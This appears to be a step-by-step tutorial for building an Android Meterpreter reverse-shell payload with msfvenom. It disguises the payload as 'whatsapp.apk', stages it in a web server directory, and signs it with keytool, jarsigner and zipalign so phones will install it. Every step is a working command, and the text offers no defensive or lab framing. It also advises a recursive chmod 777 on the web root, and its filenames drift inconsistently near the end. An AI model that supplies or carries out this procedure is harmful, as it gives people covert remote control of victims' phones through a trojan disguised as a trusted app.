By using MSFvenom, we create a payload .apk file. For this, we use the following command:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.240.161 LPORT=4444 R > /var/www/html/whatsapp.apk

• -p — Payload to be used
• LHOST — Localhost IP to receive a back connection (Check yours with ifconfig command)
• LPORT — Localhost port on which the connection listen for the victim (we set it to 4444)
• R — Raw format (we select .apk)
• Location — To save the file

Using above command on my terminal i got a Permission denied message as mentioned below.

bash: /var/www/html/whatsapp.apk: Permission denied

And I fixed the above issue using the below command

sudo chmod 777 /var/www/html -R

Created File will be available on var/www/html/ folder

After we successfully created the .apk file, we need to sign a certificate because Android mobile devices are not allowed to install apps without the appropriately signed certificate. Android devices only install signed .apk files.

We need to sign the .apk file manually in Kali Linux using:

• Keytool (preinstalled)
• jar signer (preinstalled)
• zipalign (need to install)

Use Keytool for making keystore. Below mentioned command will create a keystore.

keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000

Next step is to Signing our whatsapp.apk file with JARsigner

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore /var/www/html/whatsapp.apk hacked

You may face an issue “bash: jarsigner: command not found”. i fixed this error by installing the below.

sudo apt-get install openjdk-11-jdk

Verifying the .apk using JARsigner

jarsigner -verify -verbose -certs /var/www/html/whatsapp.apk

Zipalign is not preinstalled in Kali Linux, so you will have to install it first.

Installing Zipalign

sudo apt-get install zipalign

Verifying the .apk created and saving to anew file using Zipalign

zipalign -v 4 /var/www/html/whatsapp.apk /var/www

/html/Whatssapp.apk

Now we have signed our android_shell.apk file successfully and it can be run on any Android environment. Our new filename is Whatssappapk after the verification with Zipalign.